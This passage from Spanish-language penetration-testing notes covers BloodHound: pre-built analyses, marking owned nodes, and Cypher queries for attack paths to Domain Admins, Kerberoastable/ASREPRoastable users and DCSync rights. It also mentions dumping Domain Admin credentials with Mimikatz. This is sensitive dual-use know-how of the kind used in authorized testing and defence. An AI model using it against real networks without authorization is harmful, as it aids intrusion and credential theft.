Users with Foreign Domain Group Membership → usuarios en grupos de otros dominios
Groups with Foreign Domain Group Membership → grupos en grupos de otros dominios
Map Domain Trusts → todos los trusts del dominio actual
Shortest Paths to Unconstrained Delegation → rutas hacia hosts con Unconstrained Delegation
Shortest Paths from Kerberoastable Users → rutas a DA desde cuentas Kerberoasteables
Shortest Path from Owned Principals → rutas desde nodos marcados como owned
Shortest Paths to Domain Admins from Owned → ruta más corta a DA desde owned
Shortest Paths to High-Value Targets → rutas a objetivos de alto valorOwned Principals — Marcar nodos comprometidos
Cuando comprometes una cuenta o host, márcalo como owned en BloodHound para ver qué puedes hacer desde ahí:
Clic derecho en el nodo → Mark as OwnedEl nodo queda marcado con un ícono de calavera. Luego:
Analysis → Shortest Path from Owned Principals
Analysis → Shortest Paths to Domain Admins from Owned PrincipalsEsto muestra exactamente qué rutas de ataque tienes disponibles con los accesos actuales.
Encontrar sesiones activas
Las sesiones indican dónde están conectados los usuarios en el momento de la recolección. Si un DA tiene sesión en un host donde tienes admin local, puedes dumpear sus credenciales con Mimikatz.
Buscar: group:Domain Admins
→ Sessions → clic en el número → muestra el host y el usuario conectadoTambién se puede buscar sesiones desde el nodo de una computadora:
Buscar: computer:WS01
→ Sessions → usuarios conectados a ese hostVerificar derechos de un usuario sobre otro objeto
Para ver qué derechos tiene un usuario específico sobre otro objeto:
Buscar el usuario → Outbound Object ControlO usar pathfinding entre el usuario y el objeto objetivo para ver la ruta y los edges involucrados.
Para ver quién tiene derechos sobre un objeto específico:
Buscar el objeto → Inbound Control RightsVerificar GPOs que afectan un contenedor
Buscar: ou:Domain Controllers
→ Affecting GPOs → lista de GPOs aplicadas a ese contenedorSi una GPO no estándar afecta al contenedor de Domain Controllers y un usuario no privilegiado tiene escritura sobre ella, es una ruta de escalada crítica.
Para ver qué objetos afecta una GPO:
Buscar: gpo:Screensaver
→ Affected Objects → OUs, usuarios y computadoras afectadosResumen del flujo completo de análisis
1. domain:<dominio> → overview general
2. group:Domain Users → Transitive Control → derechos heredados por todos
3. Pathfinding DA Users → DA Group → ¿hay ruta directa?
4. Analysis → Shortest Paths to DA → todas las rutas posibles
5. Analysis → Find Principals with DCSync → quién puede dumpear hashes
6. Marcar nodos comprometidos como Owned
7. Analysis → Shortest Path from Owned → qué puedes hacer con lo que tienes
8. Buscar sesiones de DAs en hosts accesiblesBloodHound — Cypher Queries
Conceptos básicos de Cypher
Cypher es el lenguaje de consultas de Neo4j, similar a SQL pero diseñado para grafos. BloodHound lo usa para encontrar relaciones entre objetos de AD.
Nodos → objetos AD entre paréntesis: (n:User)
Relaciones → entre corchetes con dirección: -[r:MemberOf]->
Variables → placeholder para referenciar el objeto: n, r, g, p
Labels → tipo del nodo después de dos puntos: :User, :Group, :Computer
Propiedades → atributos del objeto entre llaves: {name:"PETER@..."}Cheat sheets:
- https://gist.github.com/jeffmcjunkin/7b4a67bb7dd0cfbfbd83768f3aa6eb12
- https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
- Cypher cheat sheet oficial: https://neo4j.com/docs/cypher-cheat-sheet/current/
Sintaxis básica
Keywords principales
MATCH → buscar patrones de nodos y relaciones
WHERE → filtrar resultados
RETURN → especificar qué devolverQueries básicas
# Todos los usuarios
MATCH (u:User) RETURN u
# Usuario específico por nombre
MATCH (u:User {name:"PETER@DOMAIN.local"}) RETURN u
# Usuario específico con WHERE
MATCH (u:User) WHERE u.name = "PETER@DOMAIN.local" RETURN u
# Grupos a los que pertenece Peter
MATCH (u:User {name:"PETER@DOMAIN.local"})-[r:MemberOf]->(peterGroups)
RETURN peterGroups
# Mostrar el grafo completo de la relación
MATCH p=((n:User {name:"PETER@DOMAIN.local"})-[r:MemberOf]->(g:Group))
RETURN pProfundidad de la relación con *
# Membresía de Peter en todos los grupos incluyendo anidados (cualquier profundidad)
MATCH p=((u:User {name:"PETER@DOMAIN.local"})-[r:MemberOf*1..]->(g:Group))
RETURN p
# Máximo 2 niveles de profundidad
MATCH p=(n:User)-[r1:MemberOf*1..2]->(g:Group) RETURN p*1.. significa mínimo 1 relación, máximo sin límite. *1..2 limita a 2 niveles.
Filtros avanzados
CONTAINS y regex
# Filtrar por nombre que contiene una cadena
MATCH p=(n:User)-[r1:MemberOf*1..]->(g:Group)
WHERE nodes(p)[1].name CONTAINS 'ITSECURITY'
RETURN p
# Con regex (case insensitive)
MATCH p=(n:User)-[r1:MemberOf*1..]->(g:Group)
WHERE nodes(p)[1].name =~ '(?i)itsecurity.*'
RETURN p(?i) hace la búsqueda case insensitive. .* coincide con cualquier cantidad de caracteres.
Queries de ataque más importantes
La query más poderosa — shortest path desde cualquier nodo
# Desde un usuario específico a cualquier nodo
MATCH p = shortestPath((n)-[*1..]->(c))
WHERE n.name =~ '(?i)peter.*' AND NOT c=n
RETURN p
# Todos los shortest paths (más resultados, más lento)
MATCH p = allshortestPaths((n)-[*1..]->(c))
WHERE n.name =~ '(?i)peter.*' AND NOT c=n
RETURN pÚtil cuando comprometes un usuario y quieres ver todas sus opciones de movimiento sin depender de las queries pre-construidas.
Shortest path a Domain Admins
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:"DOMAIN ADMINS@DOMAIN.local"}))
WHERE NOT n=m
RETURN pSesiones de un usuario específico
MATCH (u:User)-[:HasSession]->(c:Computer)
WHERE toLower(u.name) CONTAINS 'julio'
RETURN u.name, c.nameDerechos de un usuario sobre objetos del dominio
MATCH p=((n:User {name:"SARAH@DOMAIN.local"})-[r]->(m))
RETURN pDerechos específicos sobre un usuario
MATCH (n)-[r]->(u:User {name:"NICOLE@DOMAIN.local"})
RETURN n.name, type(r)Queries para encontrar misconfigurations
Usuarios con descripción no vacía (buscar contraseñas)
MATCH (u:User)
WHERE u.description IS NOT NULL
RETURN u.name, u.descriptionDerechos peligrosos de Domain Users sobre computadoras
MATCH p=(g:Group)-[r:Owns|WriteDacl|GenericAll|WriteOwner|ExecuteDCOM|GenericWrite|AllowedToDelegate|ForceChangePassword]->(c:Computer)
WHERE g.name STARTS WITH "DOMAIN USERS"
RETURN pTodos los admins locales y en qué hosts
MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins
RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT, COLLECT(DISTINCT(Admins.name)) AS USERS
ORDER BY ADMIN_COUNT DESCEncontrar todos los nodos con un edge específico
# WriteSPN
MATCH p=((n)-[r:WriteSPN]->(m)) RETURN p
# GenericAll
MATCH p=((n)-[r:GenericAll]->(m)) RETURN p
# DCSync
MATCH p=((n)-[r:DCSync]->(m)) RETURN p
# Reemplaza el edge por cualquier otro de la listaDesde nodos owned hacia cualquier destino
MATCH p = allshortestPaths((n)-[*1..]->(c))
WHERE n.owned = true AND NOT c=n
RETURN pUsuarios con Unconstrained Delegation
MATCH (u:User {unconstraineddelegation:true}) RETURN u.name
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.nameUsuarios ASREPRoasteables
MATCH (u:User {dontreqpreauth:true}) RETURN u.nameUsuarios Kerberoasteables
MATCH (u:User) WHERE u.hasspn = true RETURN u.nameComputadoras donde Domain Admins tienen sesión
MATCH (g:Group {name:"DOMAIN ADMINS@DOMAIN.local"})-[:HasSession]->(c:Computer)
RETURN c.nameHabilitar Query Debug Mode
Settings → Query Debug Mode → ON
Muestra la query Cypher de cada acción del GUI en el Raw Query Box. Útil para aprender cómo están construidas las queries pre-construidas y adaptarlas.
Guardar Custom Queries
Ubicación del archivo
Windows: %AppData%\Roaming\bloodhound\customqueries.json
Linux: /root/.config/bloodhound/customqueries.json
/home/<usuario>/.config/bloodhound/customqueries.jsonFormato del archivo
{
"queries": [
{
"name": "Shortest Path from Peter to Anything",
"category": "Shortest Paths",
"queryList": [
{
"final": true,
"query": "MATCH p = allshortestPaths((n)-[*1..]->(c)) WHERE n.name =~ '(?i)peter.*' AND NOT c=n RETURN p",
"allowCollapse": true
}
]
}
]
}Query interactiva — seleccionar nodo owned y buscar rutas
{
"queries": [
{
"name": "Search From Owned to Anything",
"category": "Shortest Paths",
"queryList": [
{
"final": false,
"title": "Select the node to search...",
"query": "MATCH (n {owned:true}) RETURN n.name",
"props": {"name": ".*"}
},
{
"final": true,
"query": "MATCH p = allshortestPaths((n)-[*1..]->(c)) WHERE n.name = $result AND NOT c=n RETURN p",
"allowCollapse": true,
"endNode": "{}"
}
]
}
]
}La primera query lista todos los nodos marcados como owned. La segunda usa la selección ($result) para buscar todas las rutas desde ese nodo.
Después de editar el archivo hacer clic en el ícono de refresh en Custom Queries dentro del GUI.
Lectura adicional
- The Dog Whisper's Handbook: https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf